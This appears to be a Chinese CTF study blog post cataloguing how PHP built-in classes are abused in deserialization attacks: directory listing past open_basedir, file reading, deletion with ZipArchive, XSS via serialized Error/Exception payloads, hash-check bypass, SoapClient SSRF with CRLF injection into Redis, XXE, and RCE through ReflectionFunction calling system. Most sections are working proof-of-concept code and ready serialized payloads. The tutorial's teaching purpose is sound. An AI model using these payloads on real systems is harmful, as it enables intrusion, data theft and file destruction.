PHP原生类利用

参考文章:

https://blog.csdn.net/cjdgg/article/details/115314651

https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/#0x05-%E4%BD%BF%E7%94%A8-DirectoryIterator-%E7%B1%BB%E7%BB%95%E8%BF%87-open-basedir

可遍历目录的类

DirectoryIterator类

官方文档:https://www.php.net/manual/zh/class.directoryiterator.php

DirectoryIterator 类提供了一个简单的界面,用于查看文件系统目录的内容

其中的__toString()方法可以获取指定路径目录下的目录和文件名

官方文档:https://www.php.net/manual/zh/directoryiterator.tostring.php

image-20251216174137643

如果直接echo,会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString()方法,输出指定目录里面经过排序之后的第一个文件名:

1
2
3
4
<?php
$dir = new DirectoryIterator('/');
echo $dir;
?>

image-20251216184004375

要想查看全部的文件名就要对$dir这个对象进行遍历

1
2
3
4
5
6
<?php
$dir = new DirectoryIterator('/CTF/网络安全学习笔记/漏洞');
foreach($dir as $d){
echo $d."\n";
}
?>

image-20251216184354229

DirectoryIteratorglob:// 协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件

1
2
3
4
<?php
$dir = new DirectoryIterator('glob:///*php*');
echo $dir;
?>

image-20251216184607256

一句话形式

1
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

image-20251216190538236

这个类只能列出目录文件名,不能读文件的内容

FilesystemIterator类

官方文档:https://www.php.net/manual/en/class.filesystemiterator.php

这个类和DirectoryIterator类很像,使用方法也是大差不差:

1
2
3
4
<?php
$dir = new FileSystemIterator('/');
echo $dir;
?>

image-20251216185223073

1
2
3
4
5
6
<?php
$dir = new FileSystemIterator('/CTF/网络安全学习笔记/漏洞');
foreach($dir as $d){
echo $d."\n";
}
?>

image-20251216185325428

1
2
3
4
<?php
$dir = new FileSystemIterator('glob:///*php*');
echo $dir;
?>

image-20251216185432649

1
$a = new FilesystemIterator("glob:///CTF/网络安全学习笔记/漏洞/*");foreach($a as $f){echo($f."\n");}

image-20251216190728779

GlobIterator类

官方文档:https://www.php.net/manual/zh/class.globiterator.php

这个类使用和前面两个略有不同,要通过匹配的模式来利用

1
2
3
4
<?php
$dir = new GlobIterator('/*');
echo $dir;
?>

image-20251216185846976

1
2
3
4
5
6
<?php
$dir = new GlobIterator('/CTF/网络安全学习笔记/漏洞/*');
foreach($dir as $d){
echo $d."\n";
}
?>

image-20251216185933609

1
2
3
4
<?php
$dir = new GlobIterator('/*php*');
echo $dir;
?>

image-20251216190027191

1
2
3
4
5
6
<?php
$dir = new GlobIterator('glob:///*php*');
foreach($dir as $d){
echo $d."\n";
}
?>

image-20251216190139404

1
$a = new GlobIterator("glob:///CTF/网络安全学习笔记/漏洞/*");foreach($a as $f){echo($f."\n");}

image-20251216190750207

可读取文件的类

SplFileObject类

官方文档:https://www.php.net/manual/en/class.splfileinfo.php

SplFileInfo类为单个文件提供面向对象的高级接口,可以用于对文件内容的遍历、查找、操作等

SplFileObject类可以读指定文件内容,直接echo只能读一行

1
2
3
4
<?php
$content = new SplFileObject('/CTF/网络安全学习笔记/漏洞/PHP反序列化/PHP原生类/1.php');
echo $content;
?>

image-20251217133550799

所以也要用foreach遍历$content对象

1
2
3
4
5
6
<?php
$content = new SplFileObject('/CTF/网络安全学习笔记/漏洞/PHP反序列化/PHP原生类/1.php');
foreach($content as $c){
echo $c."\n";
}
?>

image-20251217133648864

可删除文件的类

ZipArchive类

官方文档:https://www.php.net/manual/zh/class.ziparchive.php

ZipArchive类是在 PHP5.2 之后引入的原生类,可以对文件进行压缩与解压缩处理

常见的类方法

  • ZipArchive::addEmptyDir:添加一个新的文件目录
  • ZipArchive::addFile:将文件添加到指定zip压缩包中
  • ZipArchive::addFromString:添加新的文件同时将内容添加进去
  • ZipArchive::close:关闭 ZipArchive
  • ZipArchive::extractTo:将压缩包解压
  • ZipArchive::open:打开一个zip压缩包
  • ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0) 代表删除第一个文件
  • ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
  • ……(其余的可以看官方文档里)

ZipArchive::open

官方文档:https://www.php.net/manual/zh/ziparchive.open.php

1
public ZipArchive::open(string $filename, int $flags = 0): bool|int

打开新的或已有的zip压缩包,可以读取、写入或修改

返回值:成功时返回 true,失败时返回错误代码(整数),在 PHP 8.0+ 版本中,失败时返回 false

参数

  • $filename:要打开或创建的 ZIP 文件的路径。
  • $flags:可选参数,用于指定操作模式,它是一个位掩码,可以使用 |组合多个标志。

常用的$flags

  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
  • ZipArchive::CREATE:如果不存在则创建一个 zip 压缩包。
  • ZipArchive::RDONLY:只读模式打开压缩包。
  • ZipArchive::EXCL:如果压缩包已经存在,则出错。
  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

注意,如果设置 flags 参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8

image-20251217141804192

所以就可以利用ZipArchive类调用open方法来删除目标主机上的文件

比如已有一个test.txt文件

image-20251217140947949

1
2
3
4
<?php
$a = new ZipArchive();
$a->open('test.txt',ZipArchive::OVERWRITE);
?>

运行后就会删除指定的test.txt文件

1
2
// ZipArchive::OVERWRITE:  总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

image-20251217141046325

image-20251217141106703

$flags直接写8也是一样的

1
2
3
4
<?php
$a = new ZipArchive();
$a->open('test.txt',8);
?>

image-20251217141231805

image-20251217141241675

可进行XSS的类

Error类

官方文档:https://www.php.net/manual/zh/error.tostring.php

  • 适用于 PHP 7 以后的版本,测试时候发现 PHP8 似乎也可以
  • 在开启报错的情况下

在原生类 Error 类中的__toString()方法可能存在XSS

image-20251217175750910

这里传入的是message参数,这个参数是可以自由控制的,写入的内容直接会回显到前端,就可能存在XSS

image-20251217183503805

测试代码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a = unserialize($_GET['shell']);
echo $a;
?>

这是用来反序列化函数unserialize(),但是没有自定义的进行反序列化的类,就需要找 PHP 原生类进行反序列化

如使用Error打XSS,POC:

1
2
3
4
<?php
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>
1
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A73%3A%22E%3A%5CCTF%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%5C%E6%BC%8F%E6%B4%9E%5CPHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%5CPHP%E5%8E%9F%E7%94%9F%E7%B1%BB%5C1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

这里使用 PHP 7.3.4 版本环境

image-20251217143714682

image-20251217143956608

成功进行XSS

Exception类

和 Error 类差不多

  • 适用于 PHP5.2 以上的版本
  • 开启报错的情况下

测试代码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a = unserialize($_GET['shell']);
echo $a;
?>

POC:

1
2
3
4
<?php
$a = new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>
1
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A73%3A%22E%3A%5CCTF%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%5C%E6%BC%8F%E6%B4%9E%5CPHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%5CPHP%E5%8E%9F%E7%94%9F%E7%B1%BB%5C1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

image-20251217174154905

可绕过哈希比较的类

Error类

官方文档:https://www.php.net/manual/zh/class.error.php

image-20251217205801389

属性:

1
2
3
4
5
6
7
protected string $message = "";       // 错误消息内容
private string $string = ""; // 字符串形式的堆栈跟踪
protected int $code; // 错误代码
protected string $file = ""; // 抛出错误的文件名
protected int $line; // 抛出错误的行数
private array $trace = []; // 数组形式的堆栈跟踪
private ?Throwable $previous = null; // 之前抛出的异常

在 Error 和 Exception 原生类中,__toString()方法用于将异常或错误对象转换为字符串

测试代码:

1
2
3
4
<?php
$a = new Error("payload",1);
echo $a."\n\n";
?>

image-20251217210259114

可以看到输出的结果中只有payload输出出来了,表示$code的1没有输出出来,所以可以继续看下面这个测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a."\n\n";
echo $b."\n\n";

if($a === $b){
echo "success1"."\n";
}

if(md5($a) === md5($b)){
echo "success2"."\n";
}
?>

image-20251217210455250

$a$b这两个对象的$code是不同的,所以这两个对象本身就是不同的,success1就不会被打印出来

但是__toString()方法返回的结果是相同的,都是:

1
2
3
Error: payload in E:\CTF\网络安全学习笔记\漏洞\PHP反序列化\PHP原生类\1.php:24
Stack trace:
#0 {main}

注意,这里要让$a$b在同一行里,因为返回的结果是包含行号的,可以看到经过MD5加密是相同的了,success2是成功打印出来的,这里就是可以绕过哈希比较

Exception类

官方文档:https://www.php.net/manual/zh/class.exception.php

image-20251218101221688

和 Error 类差不多,也是继承 Throwable 类,用法和结果也是一样的,只不过 Error 只能在 PHP7 使用,Exception 可以在 PHP5 以上的

测试代码:

1
2
3
4
<?php
$a = new Exception("payload",1);
echo $a."\n\n";
?>

image-20251218101653226

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a."\n\n";
echo $b."\n\n";

if($a === $b){
echo "success1"."\n";
}

if(md5($a) === md5($b)){
echo "success2"."\n";
}
?>

image-20251218101739169

可以进行SSRF的类

SoapClient类

官方文档:https://www.php.net/manual/zh/class.soapclient.php

SoapClient 类是 PHP 中用于与 SOAP(Simple Object Access Protocol)Web 服务进行交互的核心类。它允许你调用远程 Web 服务方法,就像调用本地对象方法一样,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

当调用一个不存在的 SoapClient 方法时,PHP 会自动触发__call()魔术方法,该方法可以发送 HTTP 和 HTTPS 请求:

  • 将方法名和参数转换为 SOAP 请求
  • 发送请求到远程 Web 服务
  • 解析响应并返回结果

所以就是因为这个方法,可以利用 SoapClient 类进行 SSRF

SoapClient 类的构造函数:

image-20251218103138025

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • $wsdl:是 WSDL 文件的位置(可以是URL、本地文件路径),如果设置为null就是表示非 WSDL 模式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // 1. URL 地址(最常见)
    $client1 = new SoapClient("http://example.com/service?wsdl");

    // 2. 本地文件路径
    $client2 = new SoapClient("/path/to/local/service.wsdl");

    // 3. NULL(非 WSDL 模式)
    $client3 = new SoapClient(null, [
    'location' => 'http://example.com/soap',
    'uri' => 'http://example.com/namespace',
    'style' => SOAP_RPC,
    'use' => SOAP_ENCODED
    ]);

    // 4. 字符串形式的 XML WSDL
    $wsdlXml = file_get_contents('service.wsdl');
    $client4 = new SoapClient($wsdlXml);
  • $options:如果是 WSDL 模式,这个参数是可选的,如果在非 WSDL 模式,就必须要设置locationuri,其中location是要将请求发送到的 SOAP 服务器的 URL,而uri是 SOAP 服务的目标命名空间

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    $options = [
    // 1. 位置和URI设置(非WSDL模式必需)
    'location' => 'http://example.com/soap-endpoint',
    'uri' => 'http://example.com/namespace',

    // 2. 认证信息
    'login' => 'username',
    'password' => 'password',
    'authentication' => SOAP_AUTHENTICATION_BASIC, // 或 SOAP_AUTHENTICATION_DIGEST

    // 3. 代理设置
    'proxy_host' => 'proxy.example.com',
    'proxy_port' => 8080,
    'proxy_login' => 'proxyuser',
    'proxy_password' => 'proxypass',

    // 4. SSL/TLS 设置
    'local_cert' => '/path/to/certificate.pem',
    'passphrase' => 'cert_password',
    'ssl_method' => SOAP_SSL_METHOD_TLS,

    // 5. 连接设置
    'connection_timeout' => 30, // 连接超时(秒)
    'keep_alive' => true, // 保持连接
    'compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP,

    // 6. 编码和格式
    'encoding' => 'UTF-8',
    'soap_version' => SOAP_1_1, // 或 SOAP_1_2
    'style' => SOAP_RPC, // 或 SOAP_DOCUMENT
    'use' => SOAP_ENCODED, // 或 SOAP_LITERAL

    // 7. 缓存设置
    'cache_wsdl' => WSDL_CACHE_NONE, // 缓存策略
    'features' => SOAP_SINGLE_ELEMENT_ARRAYS,

    // 8. 调试设置
    'trace' => true, // 启用跟踪
    'exceptions' => true, // 抛出异常

    // 9. 流上下文(SSL/代理等)
    'stream_context' => stream_context_create([
    'ssl' => [
    'verify_peer' => false,
    'verify_peer_name' => false,
    ],
    'http' => [
    'timeout' => 30,
    'user_agent' => 'PHP SoapClient',
    ]
    ]),
    ];

SSRF

可以将第一个参数设置为null,第二个参数的location设置为目标URL

测试代码:

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.50.233:2333/','uri'=>'http://192.168.50.233:2333/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 不存在的方法触发__call()魔术方法
?>

需要开启extension=soup,在php.ini中找到并将前面的分号删去即可

image-20251218110012185

先在vps或者虚拟机监听一个端口

image-20251218110227561

然后运行测试代码

image-20251218110319832

可以看到成功触发SSRF

image-20251218110355599

但是这只局限于 HTTP/HTTPS 协议

SSRF + CRLF

如果 HTTP 头部存在 CRLF 漏洞的话,还可以通过 SSRF + CRLF 配合插入任意的 HTTP 头

测试代码:

1
2
3
4
5
6
7
8
<?php
$target = 'http://192.168.50.233:2333/';
$a = new SoapClient(null,array('location'=>$target,'uri'=>$target,'user_agent'=>'WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 不存在的方法触发__call()魔术方法
?>

image-20251218120333689

image-20251218111007911

HTTP 打 Redis

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$target = 'http://192.168.50.233:6379/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

image-20251218120616195

image-20251218120608732

对于如何发送 POST 的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是 POST 数据 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-TypeUser-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://192.168.50.233:6379/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

image-20251218121852225

image-20251218121911916

可以进行XXE的类

SimpleXMLElement类

官方文档:https://www.php.net/manual/zh/class.simplexmlelement.php

SimpleXMLElement 的构造方法 SimpleXMLElement::__construct

官方文档:https://www.php.net/manual/zh/simplexmlelement.construct.php

1
2
3
4
5
6
7
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)

image-20251218123652898

所以这里可以设置第三个参数$dataIsURLtrue,就可以实现远程 XML 文件载入,可以进行XXE

第一个参数$data谁设置为要引入的外部实体的URL,第二个参数$options设置为2即可

相关题目:[SUCTF 2018]Homework

https://buuoj.cn/challenges#[SUCTF%202018]Homework

反射类Reflection

官方文档:https://www.php.net/manual/zh/book.reflection.php

读取类的属性和方法名

ReflectionClass类

官方文档:https://www.php.net/manual/zh/class.reflectionclass.php

ReflectionClass 类报告了一个类的有关信息,可以读取到类的属性和方法名

看 ReflectionClass 类的构造函数ReflectionClass::__construct

官方文档:https://www.php.net/manual/zh/reflectionclass.construct.php

image-20251218134813649

测试代码:

1
2
3
4
<?php
$a = new ReflectionClass('Exception');
echo $a;
?>

image-20251218135449618

再比如在flag.php中新建一个类 FLAG

1
2
3
4
5
6
7
8
9
<?php
class FLAG{
public $flag = "flag{this_is_a_flag}";

public function getFlag(){
return $this->flag;
}
}
?>

在测试文件1.php中:

1
2
3
4
5
<?php
include 'flag.php';
$a = new ReflectionClass('FLAG');
echo $a;
?>

image-20251218135944178

可以看到指定类里面的方法和属性名

RCE

ReflectionFunction

官方文档:https://www.php.net/manual/zh/class.reflectionfunction.php

ReflectionFunction 类的invokeArgs方法可以用来写Webshell

官方文档:https://www.php.net/manual/zh/reflectionfunction.invokeargs.php

image-20251218141022266

image-20251218141110182

可以利用这个方法来RCE、甚至写Webshell,测试代码:

1
2
3
4
5
6
<?php
$f = "system";
$c = "whoami";
$func = new ReflectionFunction($f);
echo $func->invokeArgs(array($c));
?>

image-20251218141509280


PHP原生类利用
https://yschen20.github.io/2025/12/18/PHP原生类利用/
作者
Suzen
发布于
2025年12月18日
更新于
2026年1月26日
许可协议